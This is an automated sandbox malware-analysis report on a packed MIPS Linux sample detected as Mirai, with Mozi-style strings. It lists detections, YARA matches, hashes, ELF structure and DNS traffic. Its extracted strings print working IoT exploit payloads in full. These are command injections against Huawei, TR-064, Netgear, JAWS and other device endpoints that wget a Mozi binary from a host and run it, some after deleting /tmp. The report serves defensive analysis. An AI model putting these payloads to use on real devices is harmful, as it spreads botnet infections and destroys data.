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Linux Analysis Report
bin.sh.elf

Overview

General Information

Sample name:bin.sh.elf
Analysis ID:1582367
MD5:23ac4c0a386f7e8d588682e59d6d1755
SHA1:688933d4a08a4c178a68699d1efb864369e3788e
SHA256:45446b24fd743cae54e5b4d32aab5c618dbd07ea1bf8a31ea46191a8640a7c74
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:92
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample is packed with UPX
ELF contains segments with high entropy indicating compressed/encrypted content
Sample contains only a LOAD segment without any section mappings
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings that are potentially command strings
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1582367
Start date and time:2024-12-30 11:54:46 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 16s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:bin.sh.elf
Detection:MAL
Classification:mal92.troj.evad.linELF@0/0@2/0
Command:/tmp/bin.sh.elf
PID:5521
Exit Code:133
Exit Code Info:
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 5 (Trace/breakpoint trap) - core dumped
  • system is lnxubuntu20
  • bin.sh.elf (PID: 5521, Parent: 5446, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/bin.sh.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
bin.sh.elfJoeSecurity_Mirai_4Yara detected MiraiJoe Security
    bin.sh.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      bin.sh.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
        bin.sh.elfLinux_Packer_Patched_UPX_62e11c64unknownunknown
        • 0x78:$a: 55 50 58 21 0A 58 0D 89 00 00 00 00 00 00 00 00 00 00 00 00
        SourceRuleDescriptionAuthorStrings
        5521.1.00007f2278400000.00007f2278422000.r-x.sdmpLinux_Packer_Patched_UPX_62e11c64unknownunknown
        • 0x78:$a: 55 50 58 21 0A 58 0D 89 00 00 00 00 00 00 00 00 00 00 00 00
        No Suricata rule has matched

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Source: bin.sh.elfAvira: detected
        Source: bin.sh.elfVirustotal: Detection: 65%Perma Link
        Source: bin.sh.elfReversingLabs: Detection: 57%
        Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
        Source: bin.sh.elfString found in binary or memory: http://%s:%d/Mozi.a;chmod
        Source: bin.sh.elfString found in binary or memory: http://%s:%d/Mozi.a;sh$
        Source: bin.sh.elfString found in binary or memory: http://%s:%d/Mozi.m
        Source: bin.sh.elfString found in binary or memory: http://%s:%d/Mozi.m;
        Source: bin.sh.elfString found in binary or memory: http://%s:%d/Mozi.m;$
        Source: bin.sh.elfString found in binary or memory: http://%s:%d/Mozi.m;/tmp/Mozi.m
        Source: bin.sh.elfString found in binary or memory: http://purenetworks.com/HNAP1/
        Source: bin.sh.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: bin.sh.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
        Source: bin.sh.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
        Source: bin.sh.elfString found in binary or memory: http://upx.sf.net

        System Summary

        barindex
        Source: bin.sh.elf, type: SAMPLEMatched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown
        Source: 5521.1.00007f2278400000.00007f2278422000.r-x.sdmp, type: MEMORYMatched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown
        Source: LOAD without section mappingsProgram segment: 0x400000
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s:%d -l /tmp/huawei -r /Mozi.m;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
        Source: Initial samplePotential command found: GET /Mozi.p HTTP/1.0
        Source: Initial samplePotential command found: GET /%s HTTP/1.1
        Source: Initial samplePotential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
        Source: Initial samplePotential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
        Source: Initial samplePotential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
        Source: Initial samplePotential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
        Source: Initial samplePotential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
        Source: bin.sh.elf, type: SAMPLEMatched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28
        Source: 5521.1.00007f2278400000.00007f2278422000.r-x.sdmp, type: MEMORYMatched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28
        Source: classification engineClassification label: mal92.troj.evad.linELF@0/0@2/0

        Data Obfuscation

        barindex
        Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
        Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
        Source: initial sampleString containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
        Source: bin.sh.elfSubmission file: segment LOAD with 7.8156 entropy (max. 8.0)
        Source: /tmp/bin.sh.elf (PID: 5521)Queries kernel information via 'uname': Jump to behavior
        Source: bin.sh.elf, 5521.1.000055599b2bf000.000055599b346000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
        Source: bin.sh.elf, 5521.1.00007ffe87a44000.00007ffe87a65000.rw-.sdmpBinary or memory string: i_x86_64/usr/bin/qemu-mips/tmp/bin.sh.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/bin.sh.elf
        Source: bin.sh.elf, 5521.1.00007ffe87a44000.00007ffe87a65000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips
        Source: bin.sh.elf, 5521.1.000055599b2bf000.000055599b346000.rw-.sdmpBinary or memory string: YU!/etc/qemu-binfmt/mips
        Source: bin.sh.elf, 5521.1.00007ffe87a44000.00007ffe87a65000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 5 (Trace/breakpoint trap) - core dumped

        Stealing of Sensitive Information

        barindex
        Source: Yara matchFile source: bin.sh.elf, type: SAMPLE

        Remote Access Functionality

        barindex
        Source: Yara matchFile source: bin.sh.elf, type: SAMPLE
        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
        Command and Scripting Interpreter
        Path InterceptionPath Interception11
        Obfuscated Files or Information
        OS Credential Dumping11
        Security Software Discovery
        Remote ServicesData from Local System1
        Non-Application Layer Protocol
        Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
        Application Layer Protocol
        Exfiltration Over BluetoothNetwork Denial of Service
        No configs have been found
        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand
        SourceDetectionScannerLabelLink
        bin.sh.elf65%VirustotalBrowse
        bin.sh.elf58%ReversingLabsLinux.Trojan.Dakkatoni
        bin.sh.elf100%AviraEXP/ELF.Agent.L.26
        No Antivirus matches
        No Antivirus matches
        No Antivirus matches
        NameIPActiveMaliciousAntivirus DetectionReputation
        daisy.ubuntu.com
        162.213.35.25
        truefalse
          high
          NameSourceMaliciousAntivirus DetectionReputation
          http://upx.sf.netbin.sh.elffalse
            high
            http://%s:%d/Mozi.a;sh$bin.sh.elffalse
              high
              http://%s:%d/Mozi.a;chmodbin.sh.elffalse
                high
                http://%s:%d/Mozi.m;/tmp/Mozi.mbin.sh.elffalse
                  high
                  http://schemas.xmlsoap.org/soap/encoding/bin.sh.elffalse
                    high
                    http://schemas.xmlsoap.org/soap/envelope//bin.sh.elffalse
                      high
                      http://%s:%d/Mozi.mbin.sh.elffalse
                        high
                        http://purenetworks.com/HNAP1/bin.sh.elffalse
                          high
                          http://%s:%d/Mozi.m;bin.sh.elffalse
                            high
                            http://%s:%d/Mozi.m;$bin.sh.elffalse
                              high
                              http://schemas.xmlsoap.org/soap/envelope/bin.sh.elffalse
                                high
                                No contacted IP infos
                                No context
                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                daisy.ubuntu.comvcimanagement.powerpc.elfGet hashmaliciousGafgyt, MiraiBrowse
                                • 162.213.35.25
                                vcimanagement.armv6l.elfGet hashmaliciousGafgyt, MiraiBrowse
                                • 162.213.35.25
                                vcimanagement.arm.elfGet hashmaliciousMiraiBrowse
                                • 162.213.35.24
                                vcimanagement.arm6.elfGet hashmaliciousMiraiBrowse
                                • 162.213.35.24
                                vcimanagement.ppc.elfGet hashmaliciousMiraiBrowse
                                • 162.213.35.25
                                vcimanagement.arm5.elfGet hashmaliciousUnknownBrowse
                                • 162.213.35.25
                                vcimanagement.mips.elfGet hashmaliciousMiraiBrowse
                                • 162.213.35.25
                                vcimanagement.mpsl.elfGet hashmaliciousMiraiBrowse
                                • 162.213.35.25
                                vcimanagement.spc.elfGet hashmaliciousMiraiBrowse
                                • 162.213.35.25
                                vcimanagement.arm7.elfGet hashmaliciousMiraiBrowse
                                • 162.213.35.25
                                No context
                                No context
                                No context
                                No created / dropped files found
                                File type:ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
                                Entropy (8bit):4.8060971925388
                                TrID:
                                • ELF Executable and Linkable format (Linux) (4029/14) 50.16%
                                • ELF Executable and Linkable format (generic) (4004/1) 49.84%
                                File name:bin.sh.elf
                                File size:307'960 bytes
                                MD5:23ac4c0a386f7e8d588682e59d6d1755
                                SHA1:688933d4a08a4c178a68699d1efb864369e3788e
                                SHA256:45446b24fd743cae54e5b4d32aab5c618dbd07ea1bf8a31ea46191a8640a7c74
                                SHA512:31fe7236b9d15b9c3d05ebfbe55547b2e55cf62c4a3fe363a91dad1ad0014c31f2d1531b6b9296b39d17e16042b2420e268b5f627d9d5e28d0f575996cf0184c
                                SSDEEP:3072:phNlHuBafLeBtfCzpta8xlBIOdVo3/4sxLJ10xioQ:p3lOYoaja8xzx/0wsxzSiv
                                TLSH:37640287FB227C0BCA010FB125EB4B8EA67CA79B43CBD091B6C4855F25F61C576A12C5
                                File Content Preview:.ELF.....................B.....4.........4. ...(.............@...@...........................C...C......../..........*.*UPX!.X.....................^....|.$..ELF..........@.`....4...0... ...(......<...@......[v......H...`.t..;_...dt.Q.....].M..............

                                ELF header

                                Class:ELF32
                                Data:2's complement, big endian
                                Version:1 (current)
                                Machine:MIPS R3000
                                Version Number:0x1
                                Type:EXEC (Executable file)
                                OS/ABI:UNIX - System V
                                ABI Version:0
                                Entry Point Address:0x4206a8
                                Flags:0x1007
                                ELF Header Size:52
                                Program Header Offset:52
                                Program Header Size:32
                                Number of Program Headers:2
                                Section Header Offset:0
                                Section Header Size:40
                                Number of Section Headers:0
                                Header String Table Index:0
                                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                LOAD0x00x4000000x4000000x210f20x210f27.81560x5R E0x10000
                                LOAD0x00x4300000x4300000x00x92fd80.00000x6RW 0x10000
                                TimestampSource PortDest PortSource IPDest IP
                                Dec 30, 2024 11:55:26.097024918 CET4283853192.168.2.158.8.8.8
                                Dec 30, 2024 11:55:26.097076893 CET4329353192.168.2.158.8.8.8
                                Dec 30, 2024 11:55:26.103424072 CET53428388.8.8.8192.168.2.15
                                Dec 30, 2024 11:55:26.103550911 CET53432938.8.8.8192.168.2.15
                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                Dec 30, 2024 11:55:26.097024918 CET192.168.2.158.8.8.80x3be0Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                                Dec 30, 2024 11:55:26.097076893 CET192.168.2.158.8.8.80xa641Standard query (0)daisy.ubuntu.com28IN (0x0001)false
                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                Dec 30, 2024 11:55:26.103424072 CET8.8.8.8192.168.2.150x3be0No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
                                Dec 30, 2024 11:55:26.103424072 CET8.8.8.8192.168.2.150x3be0No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

                                System Behavior

                                Start time (UTC):10:55:24
                                Start date (UTC):30/12/2024
                                Path:/tmp/bin.sh.elf
                                Arguments:/tmp/bin.sh.elf
                                File size:5777432 bytes
                                MD5 hash:0083f1f0e77be34ad27f849842bbb00c